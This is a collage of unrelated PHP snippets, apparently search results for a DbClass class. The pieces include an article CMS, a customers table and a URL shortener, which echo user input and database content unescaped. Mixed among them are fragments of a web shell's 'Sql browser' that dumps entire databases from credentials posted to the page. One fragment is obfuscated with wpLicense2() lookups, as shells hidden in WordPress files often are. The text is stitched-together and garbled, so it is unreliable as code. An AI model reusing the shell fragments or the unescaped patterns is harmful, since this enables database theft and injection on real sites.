public function dbConnect() { self::$con = mysqli_connect($this->hostName, $this->userName, $this->passWord, $this->dbName); if (!self::$con) { mysqli_error(self::$con); } }
/** * Main constructor. * * @param string $moduleName */ function __construct($moduleName = '') { // Инициализация конфига Config::init($moduleName); // БД $this->db = DbClass::init(['host' => DBHOST, 'user' => DBUSER, 'pass' => DBPASS, 'db' => DBNAME, 'charset' => COLLATE]); }
echo $create[1].";\n\n"; $this->query('SELECT * FROM `'.$table.'`'); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = "'".@mysql_real_escape_string($v)."'"; $columns[] = "`".$k."`"; } echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; } break; } return false; } }; $db = new DbClass('mysql'); if(@$_POST['p2']=='download') { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass']); $db->selectdb($_POST['sql_base']); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach($_POST['tbl'] as $v) //if(preg_match('!table_(.*)!', $k, $table)) $db->dump($v); exit; } ?> <h1>Sql browser</h1><div class=content> <form name="sf" method="post"> <table cellpadding="2" cellspacing="0"> <tr>
case 'pgsql': $this->query('SELECT * FROM ' . $table); while ($item = $this->fetch()) { $columns = array(); foreach ($item as $k => $v) { $item[$k] = "'" . addslashes($v) . "'"; $columns[] = $k; } echo 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n"; } break; } return false; } } $db = new DbClass($_POST['type']); if (@$_POST['p2'] == 'download') { ob_start("ob_gzhandler", 4096); $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach ($_POST['tbl'] as $v) { $db->dump($v); } exit; } printHeader(); ?> <h1>Sql browser</h1><div class=content> <form name="sf" method="post">
public static function banner($name = '') { $db = DbClass::init(); global $member_id; $banner = $db->getRow('SELECT * FROM ?n WHERE banner_tag = ?s AND approve', PREFIX . '_banners', $name); if ($banner['id']) { if ($banner['grouplevel'] != 'all') { $arGroups = explode(',', $banner['grouplevel']); if (in_array($member_id['user_group'], $arGroups)) { return $banner['code']; } else { return false; } } return $banner['code']; } return false; }
?> "></textarea><br><br> <input type="submit" name="submit" id="submit" value="Опубликовать"> </form> <?php ///////////////////Доделать со всеми проверками!!!!!////////////////////// if (isset($_POST['submit'])) { $title = $_POST['title']; $content = $_POST['content']; function __autoload($class) { require_once __DIR__ . '/classes/' . $class . '.php'; } $dbc = new DbClass(); $all_articles = $dbc->addArticle($title, $content); echo "Ваша статья была успешно добавлена в базу!"; } //проверяем на дублирование // $query = "SELECT * FROM `articles` WHERE `title` = '$title'"; // $data = mysqli_query($dbc, $query) or trigger_error(mysql_error().$query); // if (mysqli_num_rows($data) > 0) { // echo '<p>Вы уже добавляли статью с таким заголовком.</p>'; // exit(); // } // if ('' !== $title && '' !== $content) { // $query = "INSERT INTO `articles` (`title`, `content`) VALUES ('$title', '$content')"; // mysqli_query($dbc, $query) or trigger_error(mysql_error().$query); // echo '<p>Статья успешно добавлена</p>'; // } else {
<?php header('Content-type: text/html; charset=UTF-8'); require_once 'auth.php'; $page_title = "Администрирование статей"; require_once '../../../tpl/header.php'; function __autoload($class) { require_once __DIR__ . '/classes/' . $class . '.php'; } $dbc = new DbClass(); $all_articles = $dbc->selectAll(); // $articles = new Article($dbc); //Закрытие соединения $dbc = null; ?> <table> <?php foreach ($all_articles as $article) { ?> <tr class="article"> <td><strong><?php echo $article['title']; ?> </td> <td><?php echo substr($article['content'], 0, 300); ?> ...</td> <td><?php echo $article['posted_date'];
<?php require_once 'auth.php'; ?> <!-- edit.php – изменений одной записи --> <?php $page_title = "Редактирование статьи"; require_once '../../../tpl/header.php'; $id = intval($_GET['id']); function __autoload($class) { require_once __DIR__ . '/classes/' . $class . '.php'; } $dbc = new DbClass(); $editing_article = $dbc->selectOne($id); ?> <h1>Вы уверены что хотите редактировать эту статью?</h1> <form action="<?php echo $_SERVER['PHP_SELF']; ?> " method="post"> <label for="title">Заголовок:</label> <input type="text" id="title" name="title" value="<?php echo !empty($new_title) ? $new_title : $editing_article['title']; ?> " style="margin-left:18px;"><br> <label for="content">Текст статьи:</label> <textarea id="content" name="content"><?php echo !empty($new_content) ? $new_content : $editing_article['content'];
$this->query( wpLicense2(1176).$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = wpLicense2(1177).addslashes($v). wpLicense2(1178); $columns[] = $k; } $sql = wpLicense2(1179).$table. wpLicense2(1180).implode( wpLicense2(1181), $columns). wpLicense2(1182).implode( wpLicense2(1183), $item). wpLicense2(1184). wpLicense2(1185); if($fp) fwrite($fp, $sql); else echo($sql); } break; } return false; } }; $db = new DbClass($_POST[ wpLicense2(1186)]); if(@$_POST[ wpLicense2(1187)]== wpLicense2(1188)) { $db->connect($_POST[ wpLicense2(1189)], $_POST[ wpLicense2(1190)], $_POST[ wpLicense2(1191)], $_POST[ wpLicense2(1192)]); $db->selectdb($_POST[ wpLicense2(1193)]); switch($_POST[ wpLicense2(1194)]) { case wpLicense2(1195): $db->setCharset( wpLicense2(1196)); break; case wpLicense2(1197): $db->setCharset( wpLicense2(1198)); break; case wpLicense2(1199): $db->setCharset( wpLicense2(1200)); break; case wpLicense2(1201): $db->setCharset( wpLicense2(1202)); break; case wpLicense2(1203): $db->setCharset( wpLicense2(1204)); break; } if(empty($_POST[ wpLicense2(1205)])) { ob_start( wpLicense2(1206), round(0+4096)); header( wpLicense2(1207)); header( wpLicense2(1208)); foreach($_POST[ wpLicense2(1209)] as $v)
<p><?php echo $one_article['content']; ?> </p> <p><?php echo $one_article['posted_date']; ?> </p> <form action="<?php echo $_SERVER['PHP_SELF']; ?> " method="post"> <input type="hidden" name="id" id="" value="<?php echo $id; ?> "> <p><input type="submit" value="Удалить" name="submit"></p> </form> </div> <p><a href="admin.php"><< Назад к списку статей</a></p> <?php if (isset($_POST['submit'])) { $id = $_POST['id']; $dbc = new DbClass(); $dbc->delete($id); echo "Вы всё-таки удалили эту статью..:(("; } //Закрытие соединения $dbc = null; require_once 'tpl/footer.php';
<h3>Customers</h3> <?php $db = new DbClass(); $customers = $db->globalSelect('customers', array()); ?> <div class="table-responsive"> <table class="table table-striped"> <thead> <tr> <th>ID</th> <th>Firstname</th> <th>Lastname</th> <th>Email</th> <th>Mobile</th> </tr> </thead> <tbody> <?php if (!empty($customers)) { for ($i = 0; $i < sizeof($customers); $i++) { ?> <tr> <td><?php echo $customers[$i]['id']; ?> </td> <td><?php echo $customers[$i]['firstname']; ?> </td> <td><?php
<?php require_once "/config/config.php"; require_once "/classes/DbClass.php"; require_once "/classes/UrlShortenerClass.php"; if (!empty($_GET["link"])) { $short_code = stripslashes(trim($_GET["link"])); $db = new DbClass(); $url = $db->findByShortCode($short_code); header("Location: " . $url["long_url"]); }
<?php require_once "/config/config.php"; require_once "/classes/DbClass.php"; require_once "/classes/UrlShortenerClass.php"; if (!empty($_POST["url"])) { $url = stripslashes(trim($_POST["url"])); $db = new DbClass(); $shortener = new UrlShortenerClass(); $shortener->checkUrl($url); $short_code = ""; if ($finded_url = $db->findByLongUrl($url)) { $short_code = $finded_url["short_code"]; } else { $id_url = $db->createByLongUrl($url); $short_code = $shortener->createShortCode($id_url); $db->insertShortCodeById($id_url, $short_code); } echo 'http://' . $_SERVER['HTTP_HOST'] . '/' . $short_code . "<br />"; }
function __construct() { $this->db = DbClass::init(['host' => DBHOST, 'user' => DBUSER, 'pass' => DBPASS, 'db' => DBNAME, 'charset' => COLLATE]); }
$▟[$k] = "'" . addslashes($v) . "'"; $columns[] = $k; } $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $▟) . ');' . "\n"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } } break; } return false; } } $db = new DbClass($_POST['type']); if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']); switch ($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u');
public function __construct() { require_once 'DbClass.php'; $this->mdb = DbClass::connect(); }
<!-- article.php – выборка одной записи --> <?php $page_title = "Случайно выбранная статья"; require_once '../../../tpl/header.php'; $id = intval($_GET['id']); function __autoload($class) { require_once __DIR__ . '/classes/' . $class . '.php'; } $dbc = new DbClass(); $one_article = $dbc->selectOne($id); //Закрытие соединения $db = null; ?> <div class="article"> <h2><?php echo $one_article['title']; ?> </h2> <p><?php echo $one_article['content']; ?> </p> <p><?php echo $one_article['posted_date']; ?> </p> </div>